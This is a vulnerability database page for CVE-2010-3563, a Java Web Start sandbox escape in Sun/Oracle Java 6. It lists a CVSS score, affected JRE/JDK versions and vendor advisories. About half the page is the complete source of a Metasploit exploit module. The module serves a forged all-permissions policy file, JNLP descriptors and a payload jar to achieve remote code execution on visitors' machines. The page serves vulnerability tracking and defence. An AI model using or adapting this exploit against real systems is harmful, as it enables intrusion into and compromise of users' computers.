CVE-2010-3563 : Detail

CVE-2010-3563

95.58%V3
Network
2010-10-19
19h00 +00:00
2017-09-18
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unspecified vulnerability in the Deployment component in Oracle Java SE and Java for Business 6 Update 21 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable researcher that this is related to "how Web Start retrieves security policies," BasicServiceImpl, and forged policies that bypass sandbox restrictions.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 16495

Publication date : 2011-01-21 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: java_basicservice_impl.rb 11623 2011-01-22 00:16:57Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer # Internet explorer freaks out and shows the scary yellow info bar if this # is in an iframe. The exploit itself also creates a couple of scary popup # windows about "downloading application" that I haven't been able to # figure out how to prevent. For both of these reasons, don't include it # in Browser Autopwn. #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Sun Java Web Start BasicServiceImpl Remote Code Execution Exploit', 'Description' => %q{ This module exploits a vulnerability in Java Runtime Environment that allows an attacker to escape the Java Sandbox. By injecting a parameter into a javaws call within the BasicServiceImpl class the default java sandbox policy file can be therefore overwritten. The vulnerability affects version 6 prior to update 22. NOTE: Exploiting this vulnerability causes several sinister-looking popup windows saying that Java is "Downloading application." }, 'License' => MSF_LICENSE, 'Author' => [ 'Matthias Kaiser', # Discovery, PoC, metasploit module 'egypt' # metasploit module ], 'Version' => '$Revision: 11623 $', 'References' => [ [ 'CVE', '2010-3563' ], [ 'OSVDB', '69043' ], [ 'URL', 'http://mk41ser.blogspot.com' ], ], 'Platform' => [ 'java', 'win' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win', } ], [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 12 2010' )) end def on_request_uri( cli, request ) jpath = get_uri(cli) case request.uri when /java.security.policy/ print_status("Checking with HEAD") ack = "OK" send_response(cli, ack, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /all.policy/ all = "grant {permission java.security.AllPermission;};\n" print_status("Sending all.policy") send_response(cli, all, { 'Content-Type' => 'application/octet-stream' }) when /init.jnlp/ init = <<-EOS <?xml version="1.0" encoding="UTF-8"?> <jnlp href="#{jpath}/init.jnlp" version="1"> #{jnlp_info} <application-desc main-class="BasicServiceExploit"> <argument>#{jpath}</argument> </application-desc> </jnlp> EOS print_status("Sending init.jnlp") send_response(cli, init, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /exploit.jnlp/ expl = <<-EOS <?xml version="1.0" encoding="UTF-8"?> <jnlp href="#{jpath}/exploit.jnlp" version="1"> #{jnlp_info} <application-desc main-class="Exploit"/> </jnlp> EOS print_status("Sending exploit.jnlp") send_response(cli, expl, { 'Content-Type' => 'application/x-java-jnlp-file' }) when /\.jar$/i p = regenerate_payload(cli) paths = [ [ "BasicServiceExploit.class" ], [ "Exploit.class" ], ] dir = [ Msf::Config.data_directory, "exploits", "cve-2010-3563" ] jar = p.encoded_jar jar.add_files(paths, dir) print_status("Sending Jar file to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" }) handler(cli) else print_status("Sending redirect to init.jnlp") send_redirect(cli, get_resource() + '/init.jnlp', '') end end def jnlp_info buf = <<-EOS <information> <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title> <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor> <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description> </information> <resources> <java version="1.6+"/> <jar href="#{get_uri}/exploit.jar"/> </resources> EOS end end

Products Mentioned

Configuraton 0

Sun>>Jre >> Version To (including) 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Sun>>Jre >> Version 1.6.0

Configuraton 0

Sun>>Jdk >> Version To (including) 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

Sun>>Jdk >> Version 1.6.0

References

http://marc.info/?l=bugtraq&m=134254866602253&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.redhat.com/support/errata/RHSA-2010-0770.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2010-0987.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/44954
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2011-0880.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/43999
Tags : vdb-entry, x_refsource_BID